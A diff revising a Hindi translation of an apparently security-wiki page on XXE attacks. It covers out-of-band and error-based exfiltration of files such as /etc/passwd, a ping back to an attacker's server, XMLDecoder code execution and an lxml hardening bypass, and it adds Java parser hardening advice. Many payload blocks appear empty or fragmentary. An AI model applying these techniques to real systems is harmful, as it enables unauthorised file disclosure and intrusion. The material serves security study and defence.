उदाहरण: यह उदाहरण [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) से प्रेरित है। -XLIFF (XML Localization Interchange File Format) का उपयोग स्थानीयकरण प्रक्रियाओं में डेटा विनिमय को मानकीकृत करने के लिए किया जाता है। यह एक XML-आधारित प्रारूप है जिसका मुख्य रूप से स्थानीयकरण के दौरान उपकरणों के बीच स्थानीयकरण योग्य डेटा को स्थानांतरित करने और CAT (Computer-Aided Translation) उपकरणों के लिए एक सामान्य विनिमय प्रारूप के रूप में उपयोग किया जाता है। +XLIFF (XML Localization Interchange File Format) का उपयोग स्थानीयकरण प्रक्रियाओं में डेटा विनिमय को मानकीकृत करने के लिए किया जाता है। यह एक XML-आधारित प्रारूप है जो मुख्य रूप से स्थानीयकरण के दौरान उपकरणों के बीच स्थानीयकरण योग्य डेटा को स्थानांतरित करने और CAT (Computer-Aided Translation) उपकरणों के लिए एक सामान्य विनिमय प्रारूप के रूप में उपयोग किया जाता है। ### Blind Request Analysis @@ -507,7 +502,7 @@ Content-Type: application/x-xliff+xml ``` हालांकि त्रुटि है, एक हिट बर्प सहयोगी पर दर्ज की जाती है, जो बाहरी इकाई के साथ कुछ स्तर की बातचीत को इंगित करती है। -Out of Band Data Exfiltration डेटा को एक्सफिल्ट्रेट करने के लिए, एक संशोधित अनुरोध भेजा जाता है: +Out of Band Data Exfiltration डेटा को निकालने के लिए, एक संशोधित अनुरोध भेजा जाता है: ``` ------WebKitFormBoundaryqBdAsEtYaBjTArl3 Content-Disposition: form-data; name="file"; filename="xxe.xliff" @@ -519,9 +514,9 @@ Content-Type: application/x-xliff+xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` -यह दृष्टिकोण यह प्रकट करता है कि User Agent Java 1.8 के उपयोग को इंगित करता है। इस संस्करण के Java के साथ एक उल्लेखनीय सीमा यह है कि यह Out of Band तकनीक का उपयोग करके newline character वाले फ़ाइलों को पुनः प्राप्त करने में असमर्थ है, जैसे कि /etc/passwd। +यह दृष्टिकोण यह प्रकट करता है कि User Agent Java 1.8 के उपयोग को इंगित करता है। इस Java संस्करण की एक उल्लेखनीय सीमा यह है कि यह Out of Band तकनीक का उपयोग करके newline character वाले फ़ाइलों, जैसे /etc/passwd, को पुनः प्राप्त करने में असमर्थ है। -Error-Based Data Exfiltration इस सीमा को पार करने के लिए, एक Error-Based दृष्टिकोण का उपयोग किया जाता है। DTD फ़ाइल को इस प्रकार संरचित किया गया है कि यह एक त्रुटि को ट्रिगर करता है जिसमें लक्षित फ़ाइल से डेटा शामिल होता है: +Error-Based Data Exfiltration इस सीमा को पार करने के लिए, एक Error-Based दृष्टिकोण का उपयोग किया जाता है। DTD फ़ाइल को इस प्रकार संरचित किया गया है कि यह एक त्रुटि को ट्रिगर करे जिसमें लक्षित फ़ाइल से डेटा शामिल हो: ```xml "> @@ -547,7 +542,7 @@ XXE भेद्यता का लाभ उठाने के लिए RSS ### Ping back -हमलावर के सर्वर के लिए सरल HTTP अनुरोध +हमलावर के सर्वर पर सरल HTTP अनुरोध ```xml @@ -614,7 +609,7 @@ PHP base64 फ़िल्टर का उपयोग करना ``` ## Java XMLDecoder XEE to RCE -XMLDecoder एक Java क्लास है जो XML संदेश के आधार पर ऑब्जेक्ट बनाती है। यदि एक दुर्भावनापूर्ण उपयोगकर्ता किसी एप्लिकेशन को **readObject** मेथड में मनमाना डेटा उपयोग करने के लिए मजबूर कर सकता है, तो वह तुरंत सर्वर पर कोड निष्पादन प्राप्त कर लेगा। +XMLDecoder एक Java क्लास है जो XML संदेश के आधार पर ऑब्जेक्ट बनाती है। यदि एक दुर्भावनापूर्ण उपयोगकर्ता किसी एप्लिकेशन को **readObject** मेथड में मनमाने डेटा का उपयोग करने के लिए मजबूर कर सकता है, तो वह तुरंत सर्वर पर कोड निष्पादन प्राप्त कर लेगा। ### Using Runtime().exec() ```xml @@ -689,16 +684,16 @@ https://github.com/luisfontes19/xxexploiter ### Python lxml Parameter-Entity XXE (Error-Based File Disclosure) > [!INFO] -> Python लाइब्रेरी **lxml** के पीछे **libxml2** का उपयोग होता है। **lxml 5.4.0 / libxml2 2.13.8** से पहले के संस्करण *parameter* entities को तब भी विस्तारित करते हैं जब `resolve_entities=False` हो, जिससे वे तब भी पहुंच योग्य होते हैं जब एप्लिकेशन `load_dtd=True` और/या `resolve_entities=True` सक्षम करता है। यह Error-Based XXE payloads को अनुमति देता है जो स्थानीय फ़ाइलों की सामग्री को पार्सर त्रुटि संदेश में एम्बेड करते हैं। +> Python लाइब्रेरी **lxml** के पीछे **libxml2** का उपयोग होता है। **lxml 5.4.0 / libxml2 2.13.8** से पहले के संस्करण *parameter* entities को तब भी विस्तारित करते हैं जब `resolve_entities=False` हो, जिससे वे तब पहुंच योग्य होते हैं जब एप्लिकेशन `load_dtd=True` और/या `resolve_entities=True` सक्षम करता है। यह Error-Based XXE payloads को अनुमति देता है जो स्थानीय फ़ाइलों की सामग्री को पार्सर त्रुटि संदेश में एम्बेड करते हैं। #### 1. lxml < 5.4.0 का शोषण करना -1. एक *स्थानीय* DTD की पहचान करें या बनाएँ जो एक **undefined** parameter entity को परिभाषित करता है (जैसे `%config_hex;`)। +1. एक *स्थानीय* DTD की पहचान करें या उसे डिस्क पर बनाएं जो एक **undefined** parameter entity को परिभाषित करता है (जैसे `%config_hex;`)। 2. एक आंतरिक DTD तैयार करें जो: * स्थानीय DTD को `` के साथ लोड करता है। * undefined entity को फिर से परिभाषित करता है ताकि यह: - लक्षित फ़ाइल को पढ़े (``)। - एक और parameter entity बनाए जो एक **invalid path** को संदर्भित करता है जिसमें `%flag;` मान होता है और एक पार्सर त्रुटि को ट्रिगर करता है (`">`)। -3. अंततः `%local_dtd;` और `%eval;` को विस्तारित करें ताकि पार्सर `%error;` का सामना करे, `/aaa/` को खोलने में विफल हो और फेंकी गई अपवाद के अंदर ध्वज लीक हो जाए – जो अक्सर एप्लिकेशन द्वारा उपयोगकर्ता को वापस किया जाता है। +3. अंततः `%local_dtd;` और `%eval;` का विस्तार करें ताकि पार्सर `%error;` का सामना करे, `/aaa/` को खोलने में विफल हो और फेंकी गई अपवाद के अंदर ध्वज लीक हो जाए – जो अक्सर एप्लिकेशन द्वारा उपयोगकर्ता को वापस किया जाता है। ```xml @@ -714,7 +709,7 @@ https://github.com/luisfontes19/xxexploiter Error : failed to load external entity "file:///aaa/FLAG{secret}" ``` > [!TIP] -> यदि पार्सर आंतरिक उपसमुच्चय के अंदर `%`/`&` वर्णों के बारे में शिकायत करता है, तो उन्हें डबल-कोड करें (`&#x25;` ⇒ `%`) ताकि विस्तार में देरी हो सके। +> यदि पार्सर आंतरिक उपसमुच्चय के भीतर `%`/`&` वर्णों के बारे में शिकायत करता है, तो उन्हें डबल-कोड करें (`&#x25;` ⇒ `%`) ताकि विस्तार में देरी हो सके। #### 2. lxml 5.4.0 हार्डनिंग को बायपास करना (libxml2 अभी भी संवेदनशील) `lxml` ≥ 5.4.0 *त्रुटि* पैरामीटर संस्थाओं जैसे ऊपर दिए गए को मना करता है, लेकिन **libxml2** अभी भी उन्हें *सामान्य* संस्था में एम्बेड करने की अनुमति देता है। चाल यह है: @@ -741,11 +736,44 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}" * `load_dtd` और/या `resolve_entities` को तब तक बंद करें जब तक कि यह बिल्कुल आवश्यक न हो। * क्लाइंट को कच्चे पार्सर त्रुटियाँ लौटाने से बचें। -## References +### Java DocumentBuilderFactory hardening example + +Java अनुप्रयोग अक्सर `DocumentBuilderFactory` का उपयोग करके XML पार्स करते हैं। डिफ़ॉल्ट रूप से, फैक्ट्री **बाहरी एंटिटी समाधान** की अनुमति देती है, जिससे यह XXE और SSRF के लिए संवेदनशील हो जाती है यदि कोई अतिरिक्त हार्डनिंग फ्लैग सेट नहीं किए गए हैं: +```java +DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); +DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone +``` +सुरक्षित कॉन्फ़िगरेशन उदाहरण: +```java +DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); + +// Completely forbid any DOCTYPE declarations (best-effort defence) +dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); + +// Disable expansion of external entities +dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); +dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); + +// Enable "secure processing" which applies additional limits +dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true); + +// Defensive extras +dbf.setXIncludeAware(false); +dbf.setExpandEntityReferences(false); + +DocumentBuilder builder = dbf.newDocumentBuilder(); +``` +यदि एप्लिकेशन को आंतरिक रूप से DTD का समर्थन करना चाहिए, तो `disallow-doctype-decl` को निष्क्रिय रखें लेकिन **हमेशा** दो `external-*-entities` सुविधाओं को `false` पर सेट रखें। यह संयोजन पारंपरिक फ़ाइल-प्रकटीकरण पेलोड (`file:///etc/passwd`) और नेटवर्क-आधारित SSRF वेक्टर (`http://169.254.169.254/…`, `jar:` प्रोटोकॉल, आदि) को रोकता है। + +वास्तविक दुनिया का केस अध्ययन: **CVE-2025-27136** Java S3 इम्यूलेटर *LocalS3* में ऊपर दिखाए गए कमजोर कंस्ट्रक्टर का उपयोग किया गया। एक अनधिकृत हमलावर `CreateBucketConfiguration` एंडपॉइंट पर एक तैयार XML बॉडी प्रदान कर सकता था और सर्वर को स्थानीय फ़ाइलें (उदाहरण के लिए `/etc/passwd`) HTTP प्रतिक्रिया में एम्बेड करने के लिए मजबूर कर सकता था। + +## संदर्भ + +- [OffSec Blog – CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/) - [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf) - [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html) -- Extract info via HTTP using own external DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/) +- HTTP के माध्यम से अपनी बाहरी DTD का उपयोग करके जानकारी निकालें: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection) - [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4) - [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)